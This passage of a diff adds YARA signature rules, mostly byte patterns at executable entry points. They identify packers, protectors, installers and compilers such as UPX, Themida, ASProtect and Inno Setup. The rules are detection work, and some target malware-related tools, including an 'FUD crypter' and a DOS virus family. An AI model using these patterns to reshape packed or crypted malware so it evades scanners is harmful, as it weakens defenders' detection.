+		$0 = {E9 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 6B 65 72 6E 65 6C 33 32}
+		$1 = {E9 ?? ?? FF}
+		$2 = {E9 ?? ?? FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _CreateInstall_200335_
+{
+	meta:
+		description = "CreateInstall 2003.3.5"
+	strings:
+		$0 = {81 EC 0C 04 00 00 53 56 57 55 68 60 50 40 00 6A 01 6A 00 FF 15 D8 80 40 00 8B F0 FF 15 D4 80 40 00 3D B7 00 00 00 75 0F 56 FF 15 B8 80 40 00 6A 02 FF 15 A4 80 40 00 33 DB E8 F2 FE FF FF 68 02 7F 00 00 89 1D 94 74 40 00 53 89 1D 98 74 40 00 FF 15 E4 80 40}
+	condition:
+		$0 at entrypoint
+}
+rule _CrypteXeC_09_
+{
+	meta:
+		description = "CrypteXeC 0.9"
+	strings:
+		$0 = {8B EC FA C7 46 F7 40 07 42 81 FA BD F3 75 F9 FF 66 F7 08 42 BE 27 1F 5B CC C2 C5 74 4B A3 A3 DB 93 1F C9 A6 C9 3A 7A 27 9F 38 F1 99 67 22 85 50 55 9C 23 39 77 85 94 34 E5 18 F9 06 A3 3E FA C4 3A 69 04 E8 09 AC 5F 97 EE D8 BE DA 05 00 06 99}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_SKE_2122_exe__Alexey_Solodovnikov_h_
+{
+	meta:
+		description = "ASProtect SKE 2.1/2.2 (exe) -> Alexey Solodovnikov (h)"
+	strings:
+		$0 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+		$1 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _BobPack_v100__BoB__BobSoft_
+{
+	meta:
+		description = "BobPack v1.00 --> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 0C 24 89 CD 83 E9 06 81 ED ?? ?? ?? ?? E8 3D 00 00 00 89 85 ?? ?? ?? ?? 89 C2 B8 5D 0A 00 00 8D 04 08 E8 E4 00 00 00 8B 70 04 01 D6 E8 76 00 00 00 E8 51 01 00 00 E8 01 01}
+		$1 = {60 E8 00 00 00 00 8B 0C 24 89 CD 83 E9 06 81 ED ?? ?? ?? ?? E8 3D 00 00 00 89 85 ?? ?? ?? ?? 89 C2 B8 5D 0A 00 00 8D 04 08 E8 E4 00 00 00 8B 70 04 01 D6 E8 76 00 00 00 E8 51 01 00 00 E8 01 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Protect_Shareware_V11__eCompserv_CMS_
+{
+	meta:
+		description = "Protect Shareware V1.1 -> eCompserv CMS"
+	strings:
+		$0 = {53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 ?? 01 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 34 00 ?? 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00}
+		$1 = {53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 ?? 01 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 34 00 ?? 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4A 00 76 00 77 00}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _AsCrypt_v01__SToRM__5_
+{
+	meta:
+		description = "AsCrypt v0.1 -> SToRM - #5"
+	strings:
+		$0 = {83 ?? ?? E2 ?? ?? E2 ?? FF}
+	condition:
+		$0
+}
+rule _VMProtect_180__phpbb3_
+{
+	meta:
+		description = "VMProtect 1.80 -> phpbb3"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? A8}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V1X__Oreans_Technologies_
+{
+	meta:
+		description = "Themida/WinLicense V1.X -> Oreans Technologies"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 43 72 65 61 74 65}
+		$1 = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 43 4F 4D 43 54 4C 33 32 2E 64 6C 6C 00 00 00 49 6E 69 74 43 6F 6D 6D 6F 6E 43 6F 6E 74 72 6F 6C 73 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Armadillo_300a__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 3.00a -> Silicon Realms Toolworks"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F}
+		$1 = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD 26 42}
+		$2 = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _EXE_Shield_v17__Exeshield_Corp_
+{
+	meta:
+		description = "EXE Shield v1.7 -> Exeshield Corp."
+	strings:
+		$0 = {EB 06 68 90 1F 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_V115V117_Dll__ap0x_
+{
+	meta:
+		description = "RLPack V1.15-V1.17 Dll -> ap0x"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8}
+		$1 = {80 7C 24 08 01 0F 85 ?? 01 00 00 60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ProtEXE_30_
+{
+	meta:
+		description = "ProtEXE 3.0"
+	strings:
+		$0 = {9C 50 53 51 52 56 57 55 1E 06 FC B8 00 30 CD 21 84 C0 75 02 CD 20 A8 EB 04 00 EB FB 9A BA 21 00 EC 0C 02 EB 01 D0 EE BD 00 00 A8 EB 04 00 EB FB 9A BA 64 00 B0 AD EB 01 B1 EE B9 94 01 A8 EB 04 00 EB FB 9A 89 E8 34 00 2E 28 46 00 4D 49 74 02}
+	condition:
+		$0 at entrypoint
+}
+rule _MoleBox_v230__Teggo_
+{
+	meta:
+		description = "MoleBox v2.3.0 -> Teggo"
+	strings:
+		$0 = {42 04 E8 ?? ?? 00 00 A3 ?? ?? ?? 00 8B 4D F0 8B 11 89 15 ?? ?? ?? 00 ?? 45 FC A3 ?? ?? ?? 00 5F 5E 8B E5 5D C3 CC CC CC CC CC CC CC CC CC CC CC E8 EB FB FF FF 58 E8 ?? 07 00 00 58 89 44 24 20 61 58 FF D0 E8 ?? ?? 00 00 CC CC CC CC CC CC CC}
+		$1 = {42 04 E8 ?? ?? 00 00 A3 ?? ?? ?? 00 8B 4D F0 8B 11 89 15 ?? ?? ?? 00 ?? 45 FC A3 ?? ?? ?? 00 5F 5E 8B E5 5D C3 CC CC CC CC CC CC CC CC CC CC CC E8 EB FB FF FF 58 E8 ?? 07 00 00 58 89 44 24 20 61 58 FF D0 E8 ?? ?? 00 00 CC CC CC CC CC CC CC}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _MS_RunTime_Library_1990_1992_09_
+{
+	meta:
+		description = "MS Run-Time Library 1990, 1992 (09)"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 73 ?? C3 8C DF 8B 36 ?? ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _Splice_11__by_Tw1sted_L0gic_
+{
+	meta:
+		description = "Splice 1.1 - by Tw1sted L0gic"
+	strings:
+		$0 = {68 00 1A 40 00 E8 EE FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 ?? ?? ?? ?? ?? ?? 50 72 6F 6A 65 63 74 31 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 06 00 00 00 AC 29 40 00 07 00 00 00 BC 28 40 00 07 00 00 00 74 28 40 00 07 00 00 00 2C 28 40 00 07 00 00 00 08 23 40 00 01 00 00 00 38 21 40 00 00 00 00 00 FF FF FF FF FF FF FF FF 00 00 00 00 8C 21 40 00 08 ?? 40 00 01 00 00 00 AC 19 40 00 00 00 00 00 00 00 00 00 00 00 00 00 AC 19 40 00 4F 00 43 00 50 00 00 00 E7 AF 58 2F 9A 4C 17 4D B7 A9 CA 3E 57 6F F7 76}
+		$1 = {68 00 1A 40 00 E8 EE FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 ?? ?? ?? ?? ?? ?? 50 72 6F 6A 65 63 74 31 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 06 00 00 00 AC 29 40 00 07 00 00 00 BC 28 40 00 07 00 00 00 74 28 40 00 07 00 00 00 2C 28 40 00 07 00 00 00 08 23 40 00 01 00 00 00 38 21 40 00 00 00 00 00 FF FF FF FF FF FF FF FF 00 00 00 00 8C 21 40 00 08 ?? 40 00 01 00 00 00 AC 19 40 00 00 00 00 00 00 00 00 00 00 00 00 00 AC 19 40 00 4F 00 43 00 50 00 00 00 E7 AF 58 2F 9A 4C 17 4D B7 A9 CA 3E 57 6F F7 76}
+		$2 = {68 00 1A 40 00 E8 EE FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 ?? ?? ?? ?? ?? ?? 50 72 6F 6A 65 63 74 31 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 06 00 00 00 AC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _VLoad_09_
+{
+	meta:
+		description = "V-Load 0.9"
+	strings:
+		$0 = {33 F6 2E F6 06 B0 06 FF 74 12 0E 58 8B D8 81 E3 00 F0 75 08 B1 04 D3 E0 2B F0 D3 EE 06 5B 0E 58 2B C3 B1 04 BB 3A 07 8B D3 D3 EB 81 E2 0F 00 74 01 43 2B F3 7D 02 03 F3 03 D8 03 DE B8 00 4A CD 21 73 04 B4 4C CD 21 A1 2C 00 2E A3 0A 07 2E 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v166_
+{
+	meta:
+		description = "PECompact v1.66"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 8B 11}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 ?? 87 DD 8B 85 E6 90 40 ?? 01 85 33 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 DA 90 40 ?? 01 85 DE 90 40 ?? 01 85 E2 90 40 ?? BB 5B 11}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AinEXE_223_
+{
+	meta:
+		description = "AinEXE 2.23"
+	strings:
+		$0 = {0E 07 B9 14 00 BE 00 01 33 FF FC F3 A4 A1 02 00 2D E1 0B 8E D0 BC 00 BE 8C D8 36 A3 00 BE 05 10 00 36 A3 02 BE 2E A1 0E 00 8A D4 B1 04 D2 EA D3 E0 8C D3 36 8B 2E 02 BE 2E 03 2E 0E 00 FD FE CA 78 17 81 ED 00 10 80 EF 10 8E DD 8E C3 BE FE FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Cygwin32__Cygwin_
+{
+	meta:
+		description = "Cygwin32 -> Cygwin"
+	strings:
+		$0 = {55 89 E5 83 EC 04 83 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _Software_Compress_V14__BG_Software_Protect_Technologies_
+{
+	meta:
+		description = "Software Compress V1.4 -> BG Software Protect Technologies"
+	strings:
+		$0 = {E8 00 00 00 00 81 2C 24 AA 1A 41 00 5D E8 00 00 00 00 83 2C 24 6E 8B 85 5D 1A 41 00 29 04 24 8B 04 24 89 85 5D 1A 41 00 58 8B 85 5D 1A 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00 03 D0 8B 4A 58 89 8D 49 1A 41 00 8B 4A 5C 89 8D 4D 1A 41 00 8B 4A 60 89 8D 55 1A 41 00 8B 4A 64 89 8D 51 1A 41 00 8B 4A 74 89 8D 59 1A 41 00 68 00 20 00 00 E8 D2 00 00 00 50 8D 8D 00 1C 41 00 50 51 E8 1B 00 00 00 83 C4 08 58 8D 78 74 8D B5 49 1A 41 00 B9 18 00 00 00 F3 A4 05 A4 00 00 00 50 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _FakeNinja_V28_Private__Spirit__SignByfly_
+{
+	meta:
+		description = "FakeNinja V2.8 Private -> Spirit * Sign.By.fly"
+	strings:
+		$0 = {40 00 00 C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 17 E5 FF 60}
+	condition:
+		$0
+}
+rule _eXPressorProtection_V1601__CGSoftLabs__20080308_
+{
+	meta:
+		description = "eXPressor.Protection V1.6.0.1 -> CGSoftLabs * 20080308"
+	strings:
+		$0 = {EB 01 ?? EB 01 ?? 55 8B EC 83 EC 0C 53 56 57 EB 01 ?? 83 3D ?? ?? ?? ?? ?? 74 08 EB 01 ?? E9 56 01 00 00 EB 02 ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? EB 01 ?? E8 E2 05 00 00 EB 02 ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 59 59 EB 01 ?? EB 02 ?? ?? 68 ?? ?? ?? ?? E8 0E 05 00 00 59 EB 01 ?? 83 65 F4 00 EB 07 8B 45 F4 40 89 45 F4 83 7D F4 61 73 1F EB 02 ?? ?? 8B 45 F4 0F B6 ?? ?? ?? ?? ?? 33 45 F4 8B 4D F4 88 81 ?? ?? ?? ?? EB 01 ?? EB D4 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 83 C4 10 89 45 FC EB 02 ?? ?? 83 7D FC 00 75 0A 6A 00 A1 ?? ?? ?? ?? FF 50 14 EB 01 ?? F3 E8 A0 05 00 00 A1 ?? ?? ?? ?? 05 ?? ?? ?? ?? 89 45 F8 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 FC E8 01 00 00 00 ?? 83 04 24 06 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Anslym_FUD_Crypter_
+{
+	meta:
+		description = "Anslym FUD Crypter"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A}
+		$1 = {55 8B EC 83 C4 F0 53 56 B8 38 17 05 10 E8 5A 45 FB FF 33 C0 55 68 21 1C 05 10 64 FF 30 64 89 20 EB 08 FC FC FC FC FC FC 27 54 E8 85 4C FB FF 6A 00 E8 0E 47 FB FF 6A 0A E8 27 49 FB FF E8 EA 47 FB FF 6A 0A}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _aPack_069_COM_
+{
+	meta:
+		description = "aPack 0.69 [COM]"
+	strings:
+		$0 = {8C C8 05 00 00 8E C0 59 8E D0 51 BE A0 01 BF 00 01 50 57 FC B6 01 BD 81 01 FF D5 73 61 FF D5 73 1C FF D5 73 3F BB 98 01 33 C9 FF D3 FF D3 FF D3 FF D3 8B D9 B1 01 85 DB 75 3A 93 EB 3C E8 4C 00 49 49 75 0A 2E 8B 1E 00 01 E8 40 00 EB 26 49 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_
+{
+	meta:
+		description = "Inno Setup Module"
+	strings:
+		$0 = {55 8B EC 83 C4 ?? 53 56 57 33 C0 89 45 F0 89 45 ?? 89 45 ?? E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF}
+		$1 = {49 6E 6E 6F 53 65 74 75 70 4C 64 72 57 69 6E 64 6F 77 00 00 53 54 41 54 49 43}
+		$2 = {49 6E 6E 6F}
+		$3 = {55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 B3 70 FF FF E8 1A 85 FF FF E8 25 A7 FF FF E8 6C}
+		$4 = {55 8B EC 83 C4 ?? 53 56 57 33 C0 89 45 F0 89 45 ?? 89 45 ?? E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF}
+		$5 = {55 8B EC 83 C4 ?? 53 56 57 33 C0 89 45 F0 89 45 ?? 89 45 ?? E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 or $4 or $5 at entrypoint
+}
+rule _EXECryptor_V2223_compressed_code__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor V2.2/2.3 (compressed code) -> www.strongbit.com"
+	strings:
+		$0 = {E8 00 00 00 00 58 ?? ?? ?? ?? ?? 8B 1C 24 81 EB ?? ?? ?? ?? B8 ?? ?? ?? ?? 50 6A 04 68 00 10 00 00 50 6A 00 B8 C4 ?? ?? ?? 8B 04 18 FF D0 59 BA ?? ?? ?? ?? 01 DA 52 53 50 89 C7 89 D6 FC F3 A4 B9 ?? ?? ?? ?? 01 D9 FF D1 58 8B 1C 24 68 00 80 00 00 6A 00 50 B8 C8 ?? ?? ?? 8B 04 18 FF D0 59 58 5B 83 EB 05 C6 03 B8 43 89 03 83 C3 04 C6 03 C3 09 C9 74 46 89 C3 E8 A0 00 00 00 FC AD 83 F8 FF 74 38 53 89 CB 01 C3 01 0B 83 C3 04 AC 3C FE 73 07 25 FF 00 00 00 EB ED 81 C3 FE 00 00 00 09 C0 7A 09 66 AD 25 FF FF 00 00 EB DA AD 4E 25 FF FF FF 00 3D FF FF FF 00 75 CC ?? ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _hmimysPacker_V10__hmimys_
+{
+	meta:
+		description = "hmimys-Packer V1.0 -> hmimys"
+	strings:
+		$0 = {5E 83 C6 64 AD 50 AD 50 83 EE 6C AD 50 AD 50 AD 50 AD 50 AD 50 E8 E7 07 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_MSVCpp_60_DLL__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake MSVC++ 6.0 DLL) -> emadicius"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 5F 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_V200V3X__Markus_Oberhumer__Laszlo_Molnar__John_Reiser_
+{
+	meta:
+		description = "UPX V2.00-V3.X -> Markus Oberhumer & Laszlo Molnar & John Reiser"
+	strings:
+		$0 = {5E 89 F7 B9 ?? ?? ?? ?? 8A 07 47 2C E8 3C 01 77 F7 80 3F ?? 75 F2 8B 07 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 29 F8 80 EB E8 01 F0 89 07 83 C7 05 88 D8 E2 D9 8D ?? ?? ?? ?? ?? 8B 07 09 C0 74 3C 8B 5F 04 8D ?? ?? ?? ?? ?? ?? 01 F3 50 83 C7 08 FF ?? ?? ?? ?? ?? 95 8A 07 47 08 C0 74 DC 89 F9 57 48 F2 AE 55 FF ?? ?? ?? ?? ?? 09 C0 74 07 89 03 83 C3 04 EB E1 FF ?? ?? ?? ?? ?? 8B AE ?? ?? ?? ?? 8D BE 00 F0 FF FF BB 00 10 00 00 50 54 6A 04 53 57 FF D5 8D 87 ?? ?? ?? ?? 80 20 7F 80 60 28 7F 58 50 54 50 53 57 FF D5 58 61 8D 44 24 80 6A 00 39 C4 75 FA 83 EC 80 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Visual_Cpp_2003_EXE__Microsoft_
+{
+	meta:
+		description = "Visual C++ 2003 EXE -> Microsoft"
+	strings:
+		$0 = {6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 FF 57}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v11_by_cyberbob_
+{
+	meta:
+		description = "PESpin v1.1 by cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 C3 4B 40 00 8B 42 3C 03 C2 89 85 CD 4B 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D E1 4B 40 00 53 8F 85 D7 49 40 00 BB ?? 00 00 00 B9 FE 11 00 00 8D BD 71 4C 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C}
+	condition:
+		$0 at entrypoint
+}
+rule _WebCops_DLL__LINK_Data_Security_
+{
+	meta:
+		description = "WebCops [DLL] -> LINK Data Security"
+	strings:
+		$0 = {A8 BE 58 DC D6 CC C4 63 4A 0F E0 02 BB CE F3 5C 50 23 FB 62 E7 3D 2B}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_GRUNT1Family_
+{
+	meta:
+		description = "Vx: GRUNT.1.Family"
+	strings:
+		$0 = {01 B9 ?? 00 31 17}
+	condition:
+		$0 at entrypoint
+}
+rule _modified_HACKSTOP_v111f_
+{
+	meta:
+		description = "modified HACKSTOP v1.11f"
+	strings:
+		$0 = {52 B4 30 CD 21 52 FA ?? FB 3D ?? ?? EB ?? CD 20 0E 1F B4 09 E8}
+		$1 = {52 B4 30 CD 21 52 FA ?? FB 3D ?? ?? EB ?? CD 20 0E 1F B4 09 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
